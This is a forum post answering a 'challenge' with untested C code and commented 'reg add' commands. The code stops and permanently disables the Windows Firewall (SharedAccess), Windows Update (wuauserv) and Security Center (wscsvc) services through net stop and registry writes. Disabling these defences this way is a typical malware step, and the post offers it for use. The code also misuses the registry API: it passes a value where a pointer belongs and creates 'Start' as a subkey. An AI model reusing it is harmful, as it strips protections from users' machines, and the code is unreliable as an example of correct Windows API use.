Here man, i decided to take you up on that 'challenge' and here is code - with slight modification (un-tested) - will work.
Include "winreg.h" & "windows.h" and here is modifying the services start state...
//untested.... uni PC's dont like winreg.h file...for some reason...
void main()
{
//reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" /v Start /t REG_DWORD /d 0x4 /f
//reg add "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /v Start /t REG_DWORD /d 0x4 /f
//reg add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v Start /t REG_DWORD /d 0x4 /f
HKEY software;
HKEY mykey;
int bob =0x4;
unsigned long size = sizeof(bob);
system("net stop \"Security Center\"");
system("net stop SharedAccess");
//if key already exists it will just open and not create so its alll goood
RegCreateKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SharedAccess",&software);
RegCreateKey(software,"Start",&mykey);
//if dosn't already exists (it does, we created it) it will create then modify so its all good
RegSetValueEx(mykey,"Start",NULL,REG_DWORD,(LPBYTE)bob,size);
RegCloseKey(mykey);
RegCloseKey(software);
RegCreateKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\wuauserv",&software);
RegCreateKey(software,"Start",&mykey);
RegSetValueEx(mykey,"Start",NULL,REG_DWORD,(LPBYTE)bob,size);
RegCloseKey(mykey);
RegCloseKey(software);
RegCreateKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\wscsvc",&software);
RegCreateKey(software,"Start",&mykey);
RegSetValueEx(mykey,"Start",NULL,REG_DWORD,(LPBYTE)bob,size);
RegCloseKey(mykey);
RegCloseKey(software);
}
Anyone wants to learn more i used API viewer (comes with Visual Studio 6) to find the correct API name (API viewer lists all "declares" to use with Visual basic) then did a google search to find out what header file you need to include in c++ to use the API, and then this page to read about the API's functions -
http://www.windowsit...tent/595/1.html
In clossing, Google is your friend!